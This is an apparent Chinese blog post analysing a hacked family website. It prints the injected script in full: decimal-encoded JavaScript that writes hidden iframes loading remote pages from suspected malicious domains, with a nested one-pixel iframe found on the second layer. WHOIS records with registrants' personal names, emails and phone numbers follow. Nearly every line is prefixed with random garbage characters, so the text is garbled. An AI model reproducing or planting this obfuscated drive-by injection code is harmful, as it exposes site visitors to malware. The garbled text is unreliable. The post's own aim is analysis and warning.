首发在我的博客里面，
L "|Bm{Run 3NtUB;! http://www.areway.cn/?p=175 cx$IWQf2 Dz: +.
@k M_};J; 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
cdt9hH`Cd l ,7&
z <script>t=’60,105,102,114,97,109,101,
hc3hU 32,115,114,99,61,104,116,116,112,58,47,47,
ZOqS"3j! j 102,114,101,101,46,117,45,117,117,117,46,99,
x%=CEe?6 110,47,101,114,114,111,114,46,104,116,109,
KOS0Du 32,119,105,100,116,104,61,49,48,48,32,104,
H\R a*EO~j 101,105,103,104,116,61,48,62,60,47,105,102,
%hsCB
.r>| 114,97,109,101,62′;
i]%f 94 t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
e~SK*vR% ] Nnl 3r@ <script>t=’60,105,102,114,97,109,101,32,115,
qT@h/ Y 114,99,61,104,116,116,112,58,47,47,102,114,
|nZ^RCHog 101,101,46,117,45,117,117,117,46,99,110,47,
aDK b78 1d 101,114,114,111,114,46,104,116,109,32,119,
r%? -MGc 105,100,116,104,61,49,48,48,32,104,101,105,
+7 H) s 103,104,116,61,48,62,60,47,105,102,114,97,
I_ mus<sE 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
iPTQqx-m$7 document.write(t);</script>
Hw]E#S Ai <
beUS <html xmlns=”
|6*Bu1 http://www.w3.org/1999/xhtml Tu#;Y."T “>
:+ ,;5 <head>
WR)=VE <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
^)Hf % <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
Plp.\N%f3 <title>首页 - 爱生活家庭网
R@\}iyM D*%am|QL 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
eWcq f/4?" 转换字符串后的大概内容是（谁点击后果自付）：
[CI&4) # <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
w (Z ?j %b 32[}@ f2q 查询玉米u-uuu.cn的详细信息：
KdR4<qVV} Domain Name: u-uuu.cn
h= 7q;-@7 ROID: 20070901s10001s64972306-cn
b_31 \ Domain Status: ok
vFVUdx POw Registrant Organization: 王雷
e^Zm09J Registrant Name: 王雷
VI2lw E3 Administrative Email:
czlovexs@126.com fHup&|. Sponsoring Registrar: 北京万网志成科技有限公司
4!/JN J Name Server:ns.yovole.com
UphTMyn3 Name Server:ns1.yovole.com
y|5 s Registration Date: 2007-09-01 17:54
7AV{
h[J Expiration Date: 2008-09-01 17:54
2tq2 最后PING了一下地址 都没有什么….
uQ5h5Cfz
-F ~DOG% 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
d . wGO]" <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
Tc6cBe, <script language=”javascript” src=”
2 I-d.{ http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script o&?c,FwN >
<b:% o^ 这个玉米应该有可能是木马作者的：
H b=#` foafau.info的详细信息：
jSY[Y:6md Access to INFO WHOIS information is provided to assist persons in
VsQ|t/|# determining the contents of a domain name registration record in the
] 3{t}qY$A Afilias registry database. The data in this record is provided by
nje7?Vz Afilias Limited for informational purposes only, and Afilias does not
ENTcTrTn guarantee its accuracy. This service is intended only for query-based
aOz Io- access. You agree that you will use this data only for lawful purposes
Qg *\aa94 and that, under no circumstances will you use this data to: (a) allow,
0\dmp'j] enable, or otherwise support the transmission by e-mail, telephone, or
. EKlw## facsimile of mass unsolicited, commercial advertising or solicitations
m-AF&( ;K to entities other than the data recipient’s own existing customers; or
x0
)V
o]r (b) enable high volume, automated, electronic processes that send
"I.6/ 9 queries or data to the systems of Registry Operator, a Registrar, or
h6h6B.\ Ld Afilias except as reasonably necessary to register domain names or
Ei4^__g\' modify existing registrations. All rights reserved. Afilias reserves
<7^|@L
6 the right to modify these terms at any time. By submitting this query,
Je6 [q you agree to abide by this policy.
2Vx4"fHP#N Domain ID:D22418703-LRMS
y(COB6r Domain Name:FOAFAU.INFO
~:a1ELqVw Created On:20-Nov-2007 16:05:42 UTC
UM7@c7B? Last Updated On:20-Nov-2007 16:05:44 UTC
u"v7shRp: Expiration Date:20-Nov-2008 16:05:42 UTC
/ FcRp ," Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
v
Y[s#*+ Status:CLIENT DELETE PROHIBITED
jrib"Bh3, Status:CLIENT RENEW PROHIBITED
U#3N90,N= Status:CLIENT TRANSFER PROHIBITED
9M96$i`P Status:CLIENT UPDATE PROHIBITED
nGF
+a[Z Status:TRANSFER PROHIBITED
op6]"ZV -C Registrant ID:GODA-040110615
] ,]Rv# ` Registrant Name:liu hong
^Oz~T|) Registrant Organization:
?xj 8a3F Registrant Street1:beijing
-zg*p&F Registrant Street2:
/Y0~BQC7! Registrant Street3:
>. |({;n9 Registrant City:beijing
`|'w]rj:"+ Registrant State/Province:
`n PdZ. Registrant Postal Code:100000
@Q74 Registrant Country:CN
.zO^"mXjS Registrant Phone:+86.860108888777
n7!T{+ge Registrant Phone Ext.:
+A3/^C0 Registrant FAX:
$J7V]c*-b Registrant FAX Ext.:
V[tebv! Registrant Email:bbbshiji@163.com
Ydh Tjv x Admin ID:GODA-240110615
r[L.TX3Ah= Admin Name:liu hong
sVFO&|L Admin Organization:
P#O" {+` Admin Street1:beijing
A!lZyG!3 Admin Street2:
K.
;ev Admin Street3:
UsE\p9mCuV Admin City:beijing
WyO*8b_
D Admin State/Province:
|bnd92fvks Admin Postal Code:100000
]v
${k Admin Country:CN
fb q$:Q44 Admin Phone:+86.860108888777
ziM{2Fs> Admin Phone Ext.:
;(NTzBq!1 Admin FAX:
Q0J1"*P0 Admin FAX Ext.:
kF| $oBQ Admin Email:bbbshiji@163.com
m%|\AZBA# Billing ID:GODA-340110615
z9o ]);dZ Billing Name:liu hong
^z
*0 Billing Organization:
!<w6j-S Billing Street1:beijing
S@qPf0dL< Billing Street2:
B {Cm`f8E Billing Street3:
jX7K- L Billing City:beijing
#
&v4c Billing State/Province:
c 9|4[_&B~ Billing Postal Code:100000
*l_a=[<[ Billing Country:CN
'}hSh Billing Phone:+86.860108888777
\RDN_Z Billing Phone Ext.:
gfL :SP8 Billing FAX:
('z=/"(l Billing FAX Ext.:
xg p)G!
Billing Email:bbbshiji@163.com
4&*lpl*N Tech ID:GODA-140110615
y_WC"
Tech Name:liu hong
Oc)n,D)0 Tech Organization:
ufL,K q4 Tech Street1:beijing
g#I`P& Tech Street2:
3 ! P^?[p3 Tech Street3:
7F"ljkN1S Tech City:beijing
e9p/y8gC Tech State/Province:
: /5+p>Ep} Tech Postal Code:100000
8 {4'G$6 Tech Country:CN
^*P?gG Tech Phone:+86.860108888777
eXl?f_9 Tech Phone Ext.:
0AnL]`"t.3 Tech FAX:
cj>@Jx}]M Tech FAX Ext.:
r]e{~v/ Tech Email:bbbshiji@163.com
2zj`
H9 Name Server:NS27.DOMAINCONTROL.COM
SzLlJUV X Name Server:NS28.DOMAINCONTROL.COM
|gk*{3~y Name Server:
|.; N_i Name Server:
?qQ{]_q1&. Name Server:
3U6QYD55]] Name Server:
?O 25k!7 Name Server:
LW=qX%o{ Name Server:
(Q{JI~P Name Server:
KDN#CU Name Server:
I gJu/{:y^ Name Server:
o#FctM'Z Name Server:
|] kiH^Ap Name Server:
W 8<QgpV* ,.Gp_BI 接着下载每个文件里面的代码：
lg|6~=aQ
一步一步看..
h#zm+( [B* 
SrA6}kS 
as:= QMV 
e i2?H;H; 
DS8HSSD 
2?,l r2 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
